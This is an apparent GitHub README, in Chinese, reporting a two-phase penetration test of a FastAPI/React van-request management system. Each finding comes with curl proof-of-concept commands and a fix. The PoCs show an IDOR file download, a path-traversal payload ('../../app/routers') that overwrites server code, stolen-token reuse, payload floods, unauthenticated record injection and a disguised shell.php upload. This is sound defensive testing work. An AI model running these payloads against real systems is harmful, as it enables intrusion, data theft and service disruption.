MoriartyPuth-Labs/SOP-Security-Case-Study
GitHub: MoriartyPuth-Labs/SOP-Security-Case-Study
一份针对内部货车申请管理系统进行的双阶段(白盒代码审计与黑盒盲测)完整安全渗透测试报告。
Stars: 0 | Forks: 0
# 🔐 SOP 系统 — 完整安全渗透测试报告
**针对 FastAPI + React 货车申请管理系统的双阶段白盒与黑盒渗透测试**
[](https://python.org)
[](https://www.gnu.org/software/bash/)
[](https://fastapi.tiangolo.com)
[](https://react.dev)
[](https://railway.app)
[](https://postgresql.org)
[](https://github.com)
[](https://github.com)
## 📋 关于
本仓库记录了针对 **SOP** 应用程序进行的完整双阶段渗透测试——这是一个为现场运营构建的内部货车申请管理系统。后端是一个使用 **async SQLAlchemy** 和 **PostgreSQL** 的 **FastAPI** 应用程序,部署在 **Railway** 上。前端是一个 **React/Vite** SPA。
进行了两个平行的测试阶段:
- **内部(白盒):** 拥有完整的源代码访问权限——针对 `github.com/Sigma-Rizzlers/MCCTV-LFR-Vans-backend`(提交 `093e3a4`)及其配对的前端仓库进行了静态分析、逻辑追踪和代码审查。
- **外部(黑盒):** 在无法访问源代码或数据库的情况下,对 Railway 部署环境进行实时 HTTP 测试——模拟未经身份验证的攻击者攻击目标的过程。
我们发现了一个关键的部署漏洞:在外部测试时,部署团队**并未部署**最新源代码提交(`093e3a4`)中包含的安全补丁,导致生产环境中仍实时存在多个已被修复的漏洞。
| 字段 | 内部(白盒) | 外部(黑盒) |
|---|---|---|
| 🎯 **测试类型** | 静态分析 / 代码审查 | 盲测 HTTP 测试 |
| 📅 **日期** | 2026-06-06 | 2026-06-06 |
| 🔍 **访问级别** | 完整源代码 + schema | 无源代码,无凭证 |
| 📊 **发现数量** | 11 | 8 |
| 🔴 **严重** | 0 | 2 |
| 🟠 **高危** | 3 | 3 |
| 🟡 **中危** | 3 | 1 |
| 🟢 **低危** | 5 | 2 |
## 🗂️ 范围
### 内部(白盒)
**✅ 在范围内**
- FastAPI 后端源代码——所有 router、model、schema、middleware
- React/Vite 前端源代码——身份验证流程、localStorage token 处理
- 身份验证与会话管理逻辑
- 授权(所有权检查、基于角色的访问控制)
- 文件上传与下载处理
- 输入验证和 Pydantic schema 约束
- 安全标头与 CORS middleware
**❌ 不在范围内**
- Railway 基础设施与网络层
- PostgreSQL 服务器配置
- 对生产数据进行实际利用
### 外部(黑盒)
**✅ 在范围内**
- Railway 生产环境上所有未经身份验证和预身份验证的攻击面
- CORS 配置
- 响应标头是否存在
- API 文档暴露情况
- 部署状态验证(补丁缺失)
- 速率限制行为
**❌ 不在范围内**
- 已通过身份验证的测试(由于 EXT-001 被阻止——登录返回 HTTP 500)
- 数据库或服务端访问
## 📊 发现摘要
**在两个测试阶段共发现 19 个问题。**
| 严重程度 | 内部 | 外部 | 总计 | 徽章 |
|---|---|---|---|---|
| 严重 | 0 | 2 | 2 |  |
| 高危 | 3 | 3 | 6 |  |
| 中危 | 3 | 1 | 4 |  |
| 低危 | 5 | 2 | 7 |  |
| 信息 | 0 | 0 | 0 | — |
### 风险列表 — 内部
| ID | 标题 | 严重程度 | CVSS | 状态 |
|---|---|---|---|---|
| INT-001 | IDOR:文件下载无所有权检查 | 🟠 高危 | 7.5 | 未修复 |
| INT-002 | 管理面板中通过 `missionCode` 进行路径遍历 | 🟠 高危 | 7.3 | 未修复 |
| INT-003 | 修改密码后未吊销活跃 token | 🟠 高危 | 7.1 | 未修复 |
| INT-004 | 无服务端登出 endpoint | 🟡 中危 | 5.3 | 未修复 |
| INT-005 | FastAPI 文档可公开访问 (`/api/docs`) | 🟡 中危 | 5.3 | 未修复 |
| INT-006 | 前端无 Content-Security-Policy 标头 | 🟡 中危 | 4.7 | 未修复 |
| INT-007 | Schema 字段缺少字符串长度限制 | 🟢 低危 | 3.1 | 未修复 |
| INT-008 | 搜索 query 参数无长度限制 | 🟢 低危 | 3.1 | 未修复 |
| INT-009 | 文件上传 endpoint 无速率限制 | 🟢 低危 | 3.1 | 未修复 |
| INT-010 | 内存速率限制器在重启后重置 | 🟢 低危 | 2.6 | 已知问题 |
| INT-011 | Token 有效期设置为 480 分钟(8 小时) | 🟢 低危 | 2.6 | 信息 |
### 风险列表 — 外部
| ID | 标题 | 严重程度 | CVSS | 状态 |
|---|---|---|---|---|
| EXT-001 | 所有登录和 token 验证均返回 HTTP 500 | 🔴 严重 | 9.1 | 未修复 |
| EXT-002 | CORS 损坏——合法前端被拒绝 | 🔴 严重 | 8.2 | 未修复 |
| EXT-003 | 安全响应标头完全缺失 | 🟠 高危 | 6.5 | 未修复 |
| EXT-004 | API 文档可公开访问(实时确认) | 🟠 高危 | 5.3 | 未修复 |
| EXT-005 | 部署团队未部署安全补丁 | 🟠 高危 | 7.5 | 未修复 |
| EXT-006 | 由于 EXT-001 无法验证速率限制 | 🟡 中危 | 5.3 | 被阻止 |
| EXT-007 | 前端无 Content-Security-Policy(实时) | 🟢 低危 | 3.7 | 未修复 |
| EXT-008 | 身份验证 token 存储在 `localStorage` 中(可被 XSS 访问) | 🟢 低危 | 3.1 | 未修复 |
## 🛠️ 使用的工具
| 工具 | 阶段 | 用途 |
|---|---|---|
| `curl` | 两者均有 | HTTP 请求构造、标头检查、响应计时 |
| `python3` | 两者均有 | JSON 解析、payload 生成、计时分析 |
| `grep` / `sed` | 两者均有 | 响应体分析、打包文件检查 |
| 浏览器 DevTools | 外部 | Cookie 检查、localStorage 确认 |
| 静态代码审查 | 内部 | 逻辑追踪、身份验证流程分析、schema 审计 |
| `dd` / `bash loop` | 内部 PoC | 文件上传洪水攻击、搜索 DoS 模拟 |
## 🔬 概念验证
### 📌 INT-001 — IDOR:文件下载无所有权检查 *(内部 / 授权)*
文件下载 endpoint 丢弃了经过身份验证的用户(`_: RequireAnyDep`),并且在不检查所有权的情况下返回任何请求 ID 对应的文件。任何经过身份验证的用户都可以枚举整数 ID 并下载其他用户的机密上传文件。
**存在漏洞的代码 (`van_requests.py`):**
```
@router.get("/{request_id}/files/{slot}/")
async def download_request_file(
request_id: int,
slot: str,
db: DBDep,
_: RequireAnyDep, # current user loaded but DISCARDED
):
obj = await _get_or_404(request_id, db) # fetches any user's record
filename = getattr(obj, _SLOT_MAP[slot])
...
return FileResponse(str(path), ...) # no ownership check
```
**PoC:**
```
# 步骤 1 — 获取 userA 的 token 和 request ID
TOKEN_A=$(curl -s -X POST https://
/api/auth/token/ \
-H "Content-Type: application/json" \
-d '{"username":"userA","password":"passA"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
REQUEST_ID=$(curl -s https:///api/v1/van-requests/ \
-H "Authorization: Token $TOKEN_A" \
| python3 -c "import sys,json; print(json.load(sys.stdin)[0]['id'])")
# 步骤 2 — 获取 userB 的 token
TOKEN_B=$(curl -s -X POST https:///api/auth/token/ \
-H "Content-Type: application/json" \
-d '{"username":"userB","password":"passB"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# 步骤 3 — 使用 userB 的 token 下载 userA 的文件
curl -s -O -J https:///api/v1/van-requests/${REQUEST_ID}/files/support/ \
-H "Authorization: Token $TOKEN_B"
# → HTTP 200 — userA 的机密支持文档返回给了 userB
```
```
Expected: HTTP 403 Forbidden
Actual: HTTP 200 — file downloaded successfully
```
**修复方案:**
```
async def download_request_file(
request_id: int, slot: str, db: DBDep,
current_user: RequireAnyDep # keep reference
):
obj = await _get_or_404(request_id, db)
_ADMIN_ROLES = {"admin", "superadmin"}
if current_user.role not in _ADMIN_ROLES \
and obj.submitterUsername != current_user.username:
raise HTTPException(status_code=403, detail="Permission denied")
```
### 📌 INT-002 — 管理面板中通过 `missionCode` 进行路径遍历 *(内部 / 文件系统)*
`missionCode` 字段在 `admin_panel.py` 中被直接拼接进文件系统路径中,且未经过任何清理。虽然 `van_requests.py` 中存在等效的修复方案(`_safe_request_dir()`),但该修复从未应用到管理面板。管理员可以将文件写入容器文件系统的任意位置——包括覆盖应用程序的源代码。
**存在漏洞的代码:**
```
# upload path — 无 sanitization
plan_dir = _FILES_ROOT / "admin-panel" / obj.missionCode
# 如果 missionCode = "../../app/routers":
# 解析为: /app/routers (在预期存储之外)
```
**PoC:**
```
# 步骤 1 — 创建一个带有 path-traversal missionCode 的 panel
curl -s -X POST https:///api/v1/admin-panel/ \
-H "Authorization: Token $TOKEN_ADMIN" \
-H "Content-Type: application/json" \
-d '{
"missionCode": "../../app/routers",
"missionTitle": "Test",
"missionPlace": "Test",
"missionTime": "2026-01-01T00:00:00",
"missionVia": "",
"requestPlanFileName": null,
"requestPlanFileDataUrl": null
}'
# → HTTP 201 {"id": 99, "missionCode": "../../app/routers", ...}
# 步骤 2 — 上传文件;文件写入容器上的 /app/routers/ 目录
curl -s -X POST https:///api/v1/admin-panel/99/files/plan/ \
-H "Authorization: Token $TOKEN_ADMIN" \
-F "file=@health.py;type=application/pdf"
# 文件写入位置: _FILES_ROOT/admin-panel/../../app/routers/health.py
# 解析后: /app/routers/health.py — 覆盖了 application code
# 步骤 3 — 通过下载进行验证
curl -s https:///api/v1/admin-panel/99/files/plan/ \
-H "Authorization: Token $TOKEN_ADMIN" -o /tmp/out.py
# 从 traversed path 返回内容
```
```
Expected: HTTP 400 "Invalid mission code"
Actual: File written to arbitrary path outside _FILES_ROOT
```
**修复方案:**
```
def _safe_plan_dir(mission_code: str) -> Path:
safe = _SAFE_FILENAME_RE.sub("_", Path(mission_code).name)[:50] or "unknown"
path = _FILES_ROOT / "admin-panel" / safe
if not path.resolve().is_relative_to(_FILES_ROOT.resolve()):
raise HTTPException(status_code=400, detail="Invalid mission code")
return path
# 将每一处: _FILES_ROOT / "admin-panel" / obj.missionCode
# 替换为: _safe_plan_dir(obj.missionCode)
```
### 📌 INT-003 — 修改密码后未吊销活跃 Token *(内部 / 会话管理)*
`change_my_password()` 更新了密码哈希,但从未从 `api_token_store` 中删除现有的 token。被盗用的 token 在受害者重置密码后最多仍可保持 8 小时有效。
**存在漏洞的代码 (`users.py`):**
```
@router.post("/me/change-password/")
async def change_my_password(
body: ChangePasswordIn, db: DBDep, current_user: CurrentUserDep
):
# ... password validated and updated ...
current_user.passwordHash = hash_password(body.newPassword)
await db.commit()
# *** NO TOKEN INVALIDATION HERE ***
return {"detail": "Password updated successfully."}
```
**PoC:**
```
# 步骤 1 — 攻击者获取受害者的 token(例如通过网络钓鱼)
STOLEN_TOKEN=$(curl -s -X POST https:///api/auth/token/ \
-H "Content-Type: application/json" \
-d '{"username":"victim","password":"oldpass123"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# 步骤 2 — 受害者发现被盗并更改密码
curl -s -X POST https:///api/v1/users/me/change-password/ \
-H "Authorization: Token $VICTIM_CURRENT_TOKEN" \
-H "Content-Type: application/json" \
-d '{"currentPassword":"oldpass123","newPassword":"newSecurePass!99"}'
# → {"detail": "Password updated successfully."}
# 步骤 3 — 攻击者在密码更改后使用被盗的 token
curl -s https:///api/v1/users/me/ \
-H "Authorization: Token $STOLEN_TOKEN"
# → HTTP 200 {"username":"victim","role":"user",...} ← 仍然有效
```
```
Expected: HTTP 401 — token invalidated on password change
Actual: HTTP 200 — stolen token valid for up to 480 minutes from issuance
```
**修复方案:**
```
from sqlalchemy import delete
from app.models.user import TokenStore
# 更新 passwordHash 并提交后:
await db.execute(delete(TokenStore).where(TokenStore.userId == current_user.id))
await db.commit()
return {"detail": "Password updated. Please log in again."}
```
### 📌 INT-004 — 无服务端登出 Endpoint *(内部 / 会话管理)*
前端在登出时会从 `localStorage` 中移除 token,但从不调用服务端的注销 endpoint——因为根本不存在该 endpoint。该 token 会一直保留在 `api_token_store` 中,并可在长达 480 分钟内继续使用。
**PoC:**
```
# 步骤 1 — 登录并保存 token
TOKEN=$(curl -s -X POST https:///api/auth/token/ \
-H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# 步骤 2 — “登出”(前端仅清除 localStorage — 通过保留 token 来模拟)
# 步骤 3 — 登出后 token 仍然可以验证身份
curl -s https:///api/v1/users/me/ \
-H "Authorization: Token $TOKEN"
# → HTTP 200 ← 尽管客户端登出但仍然有效
# 步骤 4 — 确认 token 仍在 DB 中
# SELECT "createdAt" FROM api_token_store WHERE token = sha256('TOKEN_VALUE');
# → Token 存在;过期时间 = createdAt + 480 分钟
```
**修复方案:**
```
# app/routers/auth.py
@router.post("/logout/")
async def logout(db: DBDep, authorization: str | None = Header(default=None)):
if authorization and authorization.startswith("Token "):
token_hash = hash_token(authorization[6:].strip())
await db.execute(
delete(TokenStore).where(TokenStore.token == token_hash)
)
await db.commit()
return {"detail": "Logged out."}
```
```
// src/App.jsx — handleLogout()
await api.post("/api/auth/logout/");
localStorage.removeItem("authToken");
```
### 📌 INT-005 / EXT-004 — API 文档可公开访问 (`/api/docs`) *(两者 / 信息泄露)*
任何未经身份验证的用户都可以访问 FastAPI 的 Swagger UI 和原始 OpenAPI schema。这暴露了每一个路由、字段名称、参数类型、枚举值以及 token 格式——这正是外部黑盒测试阶段使用的精确侦察手段。
**PoC:**
```
# 确认 Swagger UI 在无凭证的情况下可访问
curl -s -o /dev/null -w "%{http_code}" \
https:///api/docs
# → 200
# 下载完整 schema — 显示所有 22+ 个路由
curl -s https:///openapi.json | python3 -m json.tool | grep '"\/api'
# 无需猜测即可提取 file slot enum 值
curl -s https:///openapi.json \
| python3 -c "
import sys, json
schema = json.load(sys.stdin)
for name, model in schema['components']['schemas'].items():
if model.get('enum'):
print(name, model['enum'])
"
# → 显示有效的 slot 名称(photo, support 等)和所有 role enum
```
```
Expected: HTTP 404 or HTTP 401 in production
Actual: HTTP 200 — full Swagger UI + OpenAPI schema, no auth required
```
**修复方案:**
```
import os
_env = os.getenv("ENVIRONMENT", "production").lower()
app = FastAPI(
title="MCCTV LFR Vans API",
lifespan=lifespan,
docs_url = "/api/docs" if _env == "development" else None,
redoc_url = "/api/redoc" if _env == "development" else None,
openapi_url = "/openapi.json" if _env == "development" else None,
)
```
### 📌 INT-007 — Schema 字段缺少字符串长度限制 *(内部 / 输入验证)*
多个 Pydantic schema 缺少 `max_length` 约束。发送超过底层数据库列长度的字符串会触发未处理的 `IntegrityError`(HTTP 500),而不是返回正确的 HTTP 422。
**PoC:**
```
# 超大 participant 名称上的 HTTP 500
LONGNAME=$(python3 -c "print('A'*100000)")
curl -s -X POST https:///api/v1/participants/ \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"name\":\"$LONGNAME\",\"phone\":\"\",\"gender\":\"\",\"role\":\"\"}"
# → HTTP 500 "Internal server error" (预期: HTTP 422)
# 2 MB payload 存入 TEXT column(无上限)
BIGPAYLOAD=$(python3 -c "print('A'*2000000)")
curl -s -X POST https:///api/v1/admin-panel/ \
-H "Authorization: Token $TOKEN_ADMIN" \
-H "Content-Type: application/json" \
-d "{\"missionCode\":\"M001\",\"missionTitle\":\"T\",
\"missionPlace\":\"P\",\"missionTime\":\"2026-01-01T00:00:00\",
\"missionVia\":\"\",\"requestPlanFileDataUrl\":\"$BIGPAYLOAD\"}"
# → 将 2 MB 数据直接插入 TEXT column
```
**修复方案:**
```
# app/schemas/participant.py
class ParticipantIn(BaseModel):
name: str = Field(..., max_length=255)
phone: str = Field("", max_length=50)
gender:str = Field("", max_length=50)
role: str = Field("", max_length=100)
# app/schemas/admin_panel.py
class AdminPanelIn(BaseModel):
missionCode: str = Field(..., max_length=100)
requestPlanFileDataUrl: str | None= Field(None, max_length=500_000)
```
### 📌 INT-008 — 搜索参数无长度限制 *(内部 / DoS)*
`search` 查询参数被直接传递给 `ilike()`,且没有设置 `max_length`。经过身份验证的用户可以发送数兆大小的搜索字符串,从而耗尽应用服务器和 PostgreSQL 的内存与 CPU 资源。
**PoC:**
```
# 生成 1 MB 搜索字符串并发送至 search endpoint
SEARCH=$(python3 -c "print('%' + 'A'*1000000 + '%')")
curl -s -G https:///api/v1/van-requests/ \
-H "Authorization: Token $TOKEN" \
--data-urlencode "search=$SEARCH"
# → 发送约 1 MB 的字符串作为 PostgreSQL ilike() 模式
# → 可测量的延迟峰值;并发负载下的潜在 DoS vector
```
**修复方案:**
```
# 所有启用搜索功能的 router:
search: str | None = Query(default=None, max_length=200)
```
### 📌 INT-009 — 文件上传 Endpoint 无速率限制 *(内部 / DoS)*
文件上传 endpoint 没有针对单用户的速率限制。现有的“按请求写入+删除”循环即使每次上传都会覆盖之前的文件,也会造成磁盘压力和日志激增。
**PoC:**
```
# 生成一个 9 MB 的虚拟文件
dd if=/dev/urandom of=/tmp/test.jpg bs=1M count=9
# 并发 50 次上传洪水攻击
for i in $(seq 1 50); do
curl -s -X POST https:///api/v1/van-requests/1/files/photo/ \
-H "Authorization: Token $TOKEN" \
-F "file=@/tmp/test.jpg;type=image/jpeg" &
done
wait
# → 50 × 9 MB = 一次突发 450 MB 上传流量;每次请求都会写磁盘
```
**修复方案:**
```
_upload_counts: dict[int, list[float]] = defaultdict(list)
def _check_upload_rate(user_id: int) -> None:
now = time.monotonic()
with _rate_lock:
recent = [t for t in _upload_counts[user_id] if now - t < 60]
_upload_counts[user_id] = recent
if len(recent) >= 20:
raise HTTPException(429, "Upload rate limit exceeded")
_upload_counts[user_id].append(now)
```
### 📌 EXT-001 — 登录及所有 Token 认证的 Endpoint 均返回 HTTP 500 *(外部 / 严重)*
在发生任何数据库交互后,每个抛出 `HTTPException` 的 API 调用都会返回 HTTP 500,而不是正确的 4xx。根本原因:Starlette 0.36+ 中的 `BaseHTTPMiddleware` 不会将来自异步路由处理程序的异常分发给 FastAPI 的 `@app.exception_handler(HTTPException)`——它们会传播到 `ServerErrorMiddleware`,从而产生通用的 500 错误。
**PoC:**
```
# 使用错误密码登录 → 应为 401,实际得到 500
curl -i -X POST https:///api/auth/token/ \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrongpassword"}'
# HTTP/1.1 500 Internal Server Error
# {"detail":"Internal server error"}
# 无效 token → 应为 401,实际得到 500
curl -i https:///api/v1/van-requests/ \
-H "Authorization: Token aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
# HTTP/1.1 500 Internal Server Error
# 空请求体(Pydantic 在 DB 之前同步触发)→ 正确的 422
curl -i -X POST https:///api/auth/token/ \
-H "Content-Type: application/json" -d '{}'
# HTTP/1.1 422 Unprocessable Entity ← 正确(无需 DB)
# 耗时确认 bcrypt 和 DB 在报错前运行
time curl -s -o /dev/null -X POST https:///api/auth/token/ \
-H "Content-Type: application/json" \
-d '{"username":"x","password":"y"}'
# real 0m1.053s ← bcrypt 运行;失败发生在 middleware 异常路由中
```
**修复方案:**
```
# 用 @app.middleware("http"): 替换 BaseHTTPMiddleware 类:
@app.middleware("http")
async def _security_headers(request: Request, call_next):
response = await call_next(request)
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["X-Frame-Options"] = "DENY"
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
response.headers["Permissions-Policy"] = "geolocation=(), camera=(), microphone=()"
if request.url.scheme == "https":
response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
return response
# 移除 class _SecurityHeaders(BaseHTTPMiddleware) 和 class _RequestLogger(BaseHTTPMiddleware)
```
### 📌 EXT-002 — CORS 损坏——合法前端被拒绝 *(外部 / 严重)*
所有 CORS 预检请求都返回 HTTP 400 "Disallowed CORS origin"——包括实际的生产前端。Railway 后端服务上未设置(或错误设置了)FRONTEND_URL`。应用程序在任何浏览器中都无法使用。
**PoC:**
```
# 来自真实 frontend origin 的 Preflight — 被拒绝
curl -i -X OPTIONS https:///api/auth/token/ \
-H "Origin: https://" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type, Authorization"
# HTTP/1.1 400 Bad Request
# access-control-allow-credentials: true
# 不允许的 CORS origin
# 来自攻击者 origin 的 Preflight — 同样被拒绝(CORS 提供零保护)
curl -i -X OPTIONS https:///api/auth/token/ \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: POST"
# HTTP/1.1 400 Bad Request
# 直接使用 curl(无 Origin header)绕过 CORS — 后端可达
curl -i -X POST https:///api/auth/token/ \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
# HTTP/1.1 500 ← 到达服务器(CORS 仅为浏览器端强制执行)
```
**修复方案:**
```
Railway → Backend service → Variables → Add:
FRONTEND_URL = https://
Ensure no trailing slash and exact Origin header match.
```
### 📌 EXT-003 — 安全响应标头完全缺失 *(外部 / 高危)*
任何实时的 API 或前端响应中都不存在由 `_SecurityHeaders` 设置的任何安全标头。根本原因与 EXT-001 相同,均是 `BaseHTTPMiddleware` 的异常路由 bug。
**PoC:**
```
# 检查 API health endpoint headers
curl -sI https:///api/health/
# HTTP/1.1 200 OK
# Content-Type: application/json
# Server: railway-hikari
# (无 X-Frame-Options, X-Content-Type-Options, Referrer-Policy, HSTS)
# 检查 frontend headers
curl -sI https:///
# HTTP/1.1 200 OK
# Server: railway-hikari
# (无 Content-Security-Policy,无 security headers)
```
| 缺失的标头 | 风险 |
|---|---|
| `X-Frame-Options: DENY` | 点击劫持——网站可被嵌入 iframe 中 |
| `X-Content-Type-Options: nosniff` | MIME 嗅探——浏览器可能会执行 JS |
| `Referrer-Policy` | API URL 泄露给分析工具/CDN |
| `Strict-Transport-Security` | 可能发生 MITM HTTP 降级攻击 |
| `Permissions-Policy` | 浏览器可访问摄像头/麦克风/地理位置 |
**修复方案:** 首先解决 EXT-001(将 `BaseHTTPMiddleware` 替换为 `@app.middleware("http")`)。如果标头依然缺失,请通过 Railway → Backend service → Settings → Custom response headers 进行配置。
### 📌 EXT-005 — 未部署安全补丁 *(外部 / 高危)*
GitHub 上存在两个安全补丁提交(`093e3a4`, `1622ad1`),但并未在 Railway 上运行。在源代码中修复的三个高危漏洞在生产环境中仍然处于活跃状态。
**PoC:**
```
# 证据 A — 缺少 change-password 路由(在 commit 093e3a4 中添加)
curl -i -X POST https:///api/v1/users/me/change-password/ \
-H "Content-Type: application/json" \
-d '{"currentPassword":"x","newPassword":"y"}'
# HTTP/1.1 404 Not Found ← 部署的代码中不存在该路由
# 证据 B — 未经认证的 participant 创建(缺少来自 commit 1622ad1 的 auth guard)
curl -i -X POST https:///api/v1/participants/ \
-H "Content-Type: application/json" \
-d '{"name":"pentest","phone":"","gender":"","role":""}'
# HTTP/1.1 500 Internal Server Error
# 如果部署了 1622ad1:HTTP 401(auth check 在 DB 之前触发)
# 500 错误证明没有 auth guard — 请求在没有任何凭证的情况下到达 DB
# 实际利用 — 未经认证的 participant 创建
curl -s -X POST https:///api/v1/participants/ \
-H "Content-Type: application/json" \
-d '{"name":"Injected User","phone":"0123456789","gender":"M","role":"spy"}'
# → 在零身份验证的情况下在生产数据库中创建了 Participant
```
**由于未部署补丁而产生的额外实时风险:**
```
# Token plaintext storage(093e3a4 之前 — token 以原始十六进制存储)
# 通过备份泄漏或内部人员访问读取 DB 会直接暴露所有活动会话:
curl https:///api/v1/users/me/ \
-H "Authorization: Token "
# → 使用直接从 api_token_store 复制的 token 获得完全认证的访问权限
# 缺少 magic bytes 验证(093e3a4 之前)
# 上传伪装成 image/jpeg 的 PHP 文件 — 可能在没有 content check 的情况下被接受:
curl -s -X POST https:///api/v1/van-requests/1/files/photo/ \
-H "Authorization: Token $TOKEN" \
-F "file=@shell.php;type=image/jpeg"
```
**修复方案:** 从 GitHub 拉取提交 `093e3a4` 并重新部署。运行 `alembic upgrade head` 执行待处理的数据库迁移。
## ✅ 已验证的积极安全控制措施
源代码中确认了 35 项正确实施的控制措施。标记为 `*` 的项目在代码中测试通过,但由于 EXT-001/EXT-003 的影响**未进行实时确认**。
| 类别 | 控制措施 | 结果 |
|---|---|---|
| AUTH | bcrypt 密码哈希 (cost=12) | ✅ 通过 |
| AUTH | 通过 passlib 进行常数时间比较 | ✅ 通过 |
| AUTH | 阻止了用户名枚举 (dummy bcrypt hash) | ✅ 通过 |
| AUTH | SHA-256 token 存储——数据库中无明文 (提交 093e3a4) | ✅ 通过(代码) |
| AUTH | 服务端强制执行 token 过期 | ✅ 通过 |
| AUTH | 新登录时删除旧 token (单一活跃会话) | ✅ 通过 |
| AUTHZ | 普通用户在 list/get/put 操作中仅限访问自己的货车申请 | ✅ 通过 |
| AUTHZ | 更新/删除货车申请时的所有权检查 | ✅ 通过 |
| AUTHZ | add_stop / add_request_participant 上的所有权检查 | ✅ 通过 |
| AUTHZ | 角色提升防护——管理员无法提升为超级管理员 | ✅ 通过 |
| AUTHZ | Approve endpoint 仅限管理员/超级管理员访问 | ✅ 通过 |
| AUTHZ | create_participant 需要身份验证 (提交 1622ad1) | ✅ 通过(代码) |
| INPUT | SQL injection——所有查询均使用 SQLAlchemy ORM (参数化) | ✅ 通过 |
| INPUT | 防止 requestId 中的路径遍历——`_safe_request_dir()` | ✅ 通过 |
| INPUT | 根据 allowlist 验证文件 MIME 类型 | ✅ 通过(代码) |
| INPUT | 根据声明的 Content-Type 验证文件 magic bytes | ✅ 通过(代码) |
| INPUT | 拒绝过大的文件上传 (10 MB / 20 MB 限制) | ✅ 通过 |
| INPUT | `submitterUsername` 由服务端根据授权用户覆盖 | ✅ 通过 |
| INPUT | 文件名已清理并截断为 200 个字符 | ✅ 通过 |
| HEADERS | X-Frame-Options: DENY | ✅ 通过(代码) * |
| HEADERS | X-Content-Type-Options: nosniff | ✅ 通过(代码) * |
| HEADERS | 为 HTTPS 设置 HSTS | ✅ 通过(代码) * |
| CORS | 仅限于 `FRONTEND_URL` 环境变量 (无通配符) | ✅ 通过(代码) * |
| DATA | API 响应中永不返回密码哈希 | ✅ 通过 |
| DATA | 通用的 500 错误消息——不向客户端发送堆栈跟踪 | ✅ 通过 |
| EXTERNAL | HTTP → HTTPS 重定向 (Railway) | ✅ 通过 |
| EXTERNAL | 时序攻击——用户名枚举安全(两条路径均约为 1 秒) | ✅ 通过 |
## 🔑 关键启示——部署缺口
结合这两个阶段得出的最具影响力的发现是:**源代码中编写的安全修复程序在部署之前无法提供任何保护。**
| 发现 | 源代码中 | Railway 实时环境 |
|---|---|---|
| 参与者创建的身份验证防护 | ✅ 已修复 (提交 1622ad1) | ❌ 未部署 |
| SHA-256 token 哈希 | ✅ 已修复 (提交 093e3a4) | ❌ 未部署 |
| Magic bytes 验证 | ✅ 已修复 (提交 093e3a4) | ❌ 未部署 |
| change-password endpoint | ✅ 存在 (提交 093e3a4) | ❌ 实时服务器报 404 |
| 安全标头 middleware | ✅ 代码中存在 | ❌ 未运行 (EXT-001) |
| CORS 配置 | ✅ 逻辑正确 | ❌ 未设置环境变量 |
该应用程序的代码库体现了深思熟虑的安全工程——bcrypt、参数化查询、SHA-256 token 哈希、MIME 验证、所有权检查。而关键的失败完全在于运维:配置不当的部署环境和一组未部署的补丁。
## 🔧 优先修复顺序
| 优先级 | ID | 修复方案 | 工作量 |
|---|---|---|---|
| 1 🔴 | EXT-001 | 将 `BaseHTTPMiddleware` 替换为 `@app.middleware("http")` | 30 分钟 |
| 2 🔴 | EXT-002 | 在 Railway 后端设置 `FRONTEND_URL` 环境变量 | 5 分钟 |
| 3 🟠 | EXT-005 | 在 Railway 上重新部署最新提交 (`093e3a4`) | 10 分钟 |
| 4 🟠 | INT-001 | 在 `download_request_file()` 中添加所有权检查 | 5 分钟 |
| 5 🟠 | INT-002 | 将 `_safe_plan_dir()` 添加到 `admin_panel.py` | 15 分钟 |
| 6 🟠 | INT-003 | 修改密码后删除该用户的所有 token | 5 分钟 |
| 7 🟡 | INT-004 | 添加 `POST /auth/logout/` endpoint | 15 分钟 |
| 8 🟡 | EXT-004 | 在 `ENVIRONMENT != development` 时禁用 `/api/docs` | 5 分钟 |
| 9 🟡 | INT-006 | 通过 Railway 自定义标头添加 CSP 标头 | 10 分钟 |
| 10 🟢 | INT-007 | 为所有 schema 字段添加 `Field(max_length=...)` | 30 分钟 |
| 11 🟢 | INT-008 | 为搜索参数添加 `Query(max_length=200)` | 10 分钟 |
| 12 🟢 | INT-009 | 添加基于用户的上传速率限制器 | 30 分钟 |
| 13 🟢 | EXT-008 | 将身份验证 token 移至 `HttpOnly` cookie | 2 小时 |
| 14 🟢 | INT-011 | 将 `ACCESS_TOKEN_EXPIRE_MINUTES` 减少至 60 | 2 分钟 |
## 👤 作者
**MoriartyPuth** — Offensive Security

标签:AV绕过, CISA项目, FastAPI, React, Syscalls, 应用安全, 测试用例, 渗透测试报告, 白盒测试, 逆向工具, 黑盒测试